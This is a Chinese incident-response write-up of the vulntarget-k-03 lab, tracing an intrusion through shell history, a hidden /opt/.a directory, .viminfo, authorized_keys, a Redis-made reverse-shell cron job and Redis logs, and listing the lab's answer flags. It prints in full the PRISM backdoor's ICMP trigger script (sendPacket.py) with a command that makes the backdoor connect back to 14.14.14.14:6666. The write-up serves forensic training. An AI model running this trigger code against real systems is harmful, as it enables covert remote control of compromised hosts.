应急响应-vulntarget-k-03

news/2025/10/18 0:47:26/文章来源:https://www.cnblogs.com/HalfwayMousie/p/19149070

应急响应-vulntarget-k-03

这里通过history查看历史命令看到在这里进入了/opt下面创建了一个隐藏文件 .a 我们跟跟踪过去看看

image-20251017224428717

在这里有个程序start.sh 看

image-20251017224802026

这个隐藏目录下面有一个sendPacket.py

./sendPacket.py 192.168.0.1 edisec-penguin 14.14.14.14 6666
root@ip-10-0-10-4:/opt/.a# cat sendPacket.py 
#!/usr/bin/env python
"""* PRISM packet sender* * Copyright (C) 2010-2013 Andrea Fabrizi <andrea.fabrizi@gmail.com>** This program is free software; you can redistribute it and/or modify* it under the terms of the GNU General Public License as published by* the Free Software Foundation; either version 2 of the License, or* (at your option) any later version.** This program is distributed in the hope that it will be useful,* but WITHOUT ANY WARRANTY; without even the implied warranty of* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the* GNU General Public License for more details.** You should have received a copy of the GNU General Public License* along with this program; if not, write to the Free Software* Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.*
"""import os
import sys
import socket
import struct
import select
import timeICMP_ECHO_REQUEST = 8def icmp_send(dest_addr, key, reverse_addr, reverse_port):icmp = socket.getprotobyname("icmp")try:my_socket = socket.socket(socket.AF_INET, socket.SOCK_RAW, icmp)except socket.error, (errno, msg):if errno == 1:msg = msg + "This program must be run with root privileges."raise socket.error(msg)raisepkt_id = 0xABCDdest_addr  =  socket.gethostbyname(dest_addr)pkt_checksum = 55555command = key + " " + reverse_addr + " " + reverse_port # Make a dummy heder with a fake checksum.header = struct.pack("bbHHh", ICMP_ECHO_REQUEST, 0, pkt_checksum, pkt_id, 1)bytesInDouble = struct.calcsize("d")data = command + " " + (192 - bytesInDouble - len(command) - 1) * "Q"packet = header + datamy_socket.sendto(packet, (dest_addr, 1))my_socket.close()def usage(name):print "Usage:\n\t%s [DESTINATION_ADDRESS] [KEY] [REVERSE_ADDRESS] [REVERSE_PORT]" % nameexit(1)if __name__ == '__main__':args = sys.argvif len(args) != 5:usage(args[0])icmp_send(args[1], args[2], args[3], args[4]) 

这个 sendPacket.py 是个向指定主机发送自造 ICMP(ping)数据包的工具,它把三段信息(KEYREVERSE_ADDRESSREVERSE_PORT)拼成 ICMP payload 发出去——常见于隐蔽 C2 / 触发反弹连接或作为隐蔽信道发送命令/回连信息。它需要 root 权限(使用 raw socket)。

打开一个 raw socketsocket(AF_INET, SOCK_RAW, IPPROTO_ICMP)),因此必须以 root 运行。

构造一个 ICMP Echo Request 报文(type=8),用自定义 header(struct.pack("bbHHh", ...))和 payload。

payload 内容是:key + " " + reverse_addr + " " + reverse_port,后面填充 Q 以凑到一定长度。

把整个 packet 发给目标地址(sendto(packet, (dest_addr, 1)))。

用法示例:

./sendPacket.py <目标IP> <key> <回连IP> <回连端口>
./sendPacket.py 192.168.0.1 edisec-penguin 14.14.14.14 6666

源代码头注释写着 “PRISM packet sender” —— 很可能是为隐蔽通信或控制僵尸机而写的工具

而那个start.sh就是那个启动文件

在/var/log下面发现了 redis.log数据库并且时间格式是符合题目日期的我们看看这个数据库日志里面有什么信息

image-20251017230343212

image-20251017230625648

没有什么有用的信息查看一下 /root/.viminfo

/root/.viminfo 是 Vim 用来保存 会话持久化数据(session/history) 的文件 —— 它记录了你上次使用 Vim 时的一些状态,以便下次打开时能恢复或方便重复使用。
当 root 用 Vim 编辑文件时,Vim 会把命令历史、寄存器内容、搜索历史、文件标记、上次光标位置等写入 /root/.viminfo,下次打开 Vim 就可以恢复这些信息。

系统上有人(root)用 vim 编辑过 /opt/.a/start.sh/opt/.a/prism.c/etc/ssh/sshd_config/etc/redis/redis.conf 等文件。

.viminfo 中的行号和时间戳可以帮助你还原入侵路径、时间点和修改过的文件位置。

image-20251017230748800

说明你最近编辑过 /etc/ssh/sshd_config
光标大概停留在第 14 行第 8 列,这说明黑客可能改过 SSH 登录配置 我们定位到root/.ssh/authorized_keys

~/.ssh/authorized_keys 是一个 存放“允许免密登录的公钥” 的文件。

也就是说:

只要某个用户的公钥被写进了你的 authorized_keys
那么那个人就可以不用密码直接 SSH 登录你的账户

用户 文件路径
root 用户 /root/.ssh/authorized_keys
普通用户 (如 zss) /home/zss/.ssh/authorized_keys

image-20251017232129367

可以看到ID在最后面

flag{penguin}

这个.ssh文件的最后修改日期在2024年3月18日,/var/spool/cron查看计划任务,

image-20251018002512230

发现有以redis创建的反弹shell的计划任务,结合.ssh修改日期在2024年3月18日和redis.log的日期,定位到这一天日志里DB loaded from disk时间就是黑客最后攻击时间

DB loaded from disk 表示 Redis 从磁盘加载了 RDB 快照到内存(通常在启动或恢复时)。在入侵分析中,这条日志是判断“何时发生写入/恢复/重启”的重要线索,尤其当你怀疑攻击者通过 Redis 写入 authorized_keys 或其他文件时,配合文件 mtime 可以准确定位攻击时间点。**

回到/opt/.a下面key写在sh里面

image-20251018003804635

edisec-penguin 就是 PRISM 后门在 ICMP 模式下的 key(激活密码)。攻击者把它放在 ICMP 包的载荷里,用来告诉受害机“我是合法操作者,开始反连到这个 IP:PORT”。sendPacket.py 的参数顺序是:

./sendPacket.py <目标被控机IP> <KEY> <回连IP> <回连端口>

所以你那条命令:

./sendPacket.py 192.168.0.1 edisec-penguin 14.14.14.14 6666

意思是:向 192.168.0.1 发送一个 ICMP 包,载荷里包含 edisec-penguin 14.14.14.14 6666,后门收到后如果 key 匹配就会连接回 14.14.14.14:6666

上题里面从start.sh可知回连端口和IP为

flag{14.14.14.14}

image-20251018000613664

1、通过本地 PC SSH到服务器并且找到黑客最后攻击的时间,将黑客最后攻击的时间作为 FLAG 提交(flag{432:M 18 Mar 2022 13:02:01.254});

flag{432:M 18 Mar 2024 12:03:09.854}

2、通过本地 PC SSH到服务器并且找到黑客ID 为多少,将黑客ID 作为 FLAG 提交;

flag{penguin}

3、通过本地 PC SSH到服务器并且找到黑客绕过防火墙检测所使用工具的 KEY,将找到的 KEY 作为 FLAG 提交;

flag{edisec-penguin}

4、通过本地 PC SSH到服务器并且找到黑客绕过防火墙检测所使用工具反弹 Shell 的 ip,将找到对应的 IP 作为 FLAG 提交;

flag{14.14.14.14}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/939257.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

共识的预锚点:AI元人文中的价值原语引导与自动化演进

共识的预锚点:AI元人文中的价值原语引导与自动化演进 我: 在价值原语博弈开始前,我们是否可以先开发一个引导环节,借助大模型为具体冲突预生成可能涉及的价值原语清单? 你: 这个想法非常关键!它解决了价值博弈的…

winserver备份到miniio

winserver 安装openssh备份代码 package org.hf.ywyt_minio.openssh;import com.jcraft.jsch.*; import io.minio.BucketExistsArgs; import io.minio.MakeBucketArgs; import io.minio.MinioClient; import io.minio.…

软考中级 学习总结*(1)

一. 1.计算机由运算器,控制器,存储器,输入设备,输出设备组成 中央处理单元CPU CPU获取程序指令,并进行译码,也就是执行程序。 一个程序由多个指令组成 CPU功能:控制器:程序控制,操作控制,时间控制 运算器(…

【黑马python】基础 6.Python 容器:列表 元组 字符串 集合 字典

笔记汇总目录【黑马python】8天python从入门到精通 - 汇总Python 数据容器代码示例参考链接黑马-6.Python 容器 01-数据容器入门TBD

刷题日记—数字读取与判断

今天做了洛谷上有关统计数字个数的题,如下 这道题让我们统计在1到n的数中,给定数字x的出现次数,所以要考虑每一位上该数字出现的个数。对于这种读取每个数位上的数字,我们一般用% /结构。 即先让b=i,拷贝当前数值,…

Linux Mint -- LMDE6升级到LMDE7

Linux Mint -- LMDE6升级到LMDE72025年10月15日,LMDE7 Gigi版本正式发布了!!该操作系统我之前文章写过推荐的理由及该系统推荐的软件,有兴趣的点击此链接去看一下Linux Mint操作系统推荐。如下再介绍两种安装的方式…

OI 笑传 #19

Shinshiro今天是一些 CF。 CF2152D 除二加一什么的当然要放到二进制上。 如果没有小 R,那么操作的次数就是二进制位数减一加起来。 观察一下发现小 R 的加一是很弱小的,因为小 P 除二可以把整个二进制往下拉(右移)…

CF1133 合集

云落碎碎念题面翻译取自 luogu,本蒟蒻也会安置原题链接 不保证文章中不出现“显然”或者“注意到”,可能会出现“易证” 有写错的地方欢迎各位神犇指正前言 随机到一套 Div 3,愉悦一下身心 CF1133A 题解 题目传送门…

Note of Michael Artin Algebra Chapter 6 Symmetry (to complete)

6.1 SYMMETRY OF PLANE FIGURES Bilateral, rotational, translational, glide symmetry, and their combinations. 6.2 ISOMETRIES 6.2.1 Def. (Distance, Isometry) The distance between points of \(\mathbb{R}^n\…

10/18

学了外教课

实验一 现代C++基础编程

#任务1 ##代码 代码1// 现代C++标准库、算法库体验 // 本例用到以下内容: // 1. 字符串string, 动态数组容器类vector、迭代器 // 2. 算法库:反转元素次序、旋转元素 // 3. 函数模板、const引用作为形参 #include <…

CF1824D 题解

求 \(\sum\limits _ {i = l} ^ r \sum\limits _ {j = x} ^ y g(i,j)\)。 离线询问,扫描线 \(j\),线段树维护 \(g(i)\),那么,转换为求解 \(x\) 时刻到 \(y\) 时刻,线段树区间 \([l,r]\) 的区间和的历史和。 考虑扫…

CF1059 Codeforces Round 1059 (Div. 3) 游记

一次值得记录的失败。用以勉励。省流 一次值得记录的失败。用以勉励。10.17 内含剧透,请vp后再来。 不是题解!!!!!!! 赛前 非常困,回寝室睡了一会,再来就迟到了。于是一边安慰自己不算分一边想着还是写一下不…

newDay12

1.今天主要是合唱现场去演出,写写作业,背单词 2.明天时间多,多学学 3.睡得太晚了,导致醒来也已经很晚,时间管控不太好

PyTorch与卷积神经网络读书报告

PyTorch与卷积神经网络读书报告 近期,我观看了B站上适合新手的卷积神经网络(CNN)原理详解视频,并结合PyTorch相关知识进行学习,对CNN在PyTorch中的应用有了更深入的认识。 一、CNN核心原理 CNN通过卷积层用卷积核…

QOJ857 Social Distancing

题意简述 给定一颗 \(n\) 个点的树,和它的两个大小为 \(k\) 的独立集 \(A, B\)。 在一次操作中,可以选择一条树边 \((u, v)\),满足 \(u\in A\land v\notin A\),并使 \(A\leftarrow (A − \{u\})\cup\{v\}\)。同时,…

10.17日学习笔记

HBase + Flink 实时增量同步 CDC 方案选型 采用 Flink-HBase-Connector 2.2(基于 AsyncTableOperator),源库 MySQL 8.0,Binlog Row 模式。 作业拓扑 MySQL → Debezium JSON → Kafka → Flink SQL → HBase Flink…

KV缓存(Key-Value Cache)

2025.10.17 1.KV缓存(Key-Value Cache)是大语言模型推理优化中的一项技术,主要用于存储注意力机制中先前计算的键(Key)和值(Value)矩阵,以避免在生成每个新token时重复计算整个序列,从而加速解码过程并减少响…

模型验证

2025.10.17 1.模型验证用于确保模型在未见数据上的表现,从而评估其泛化能力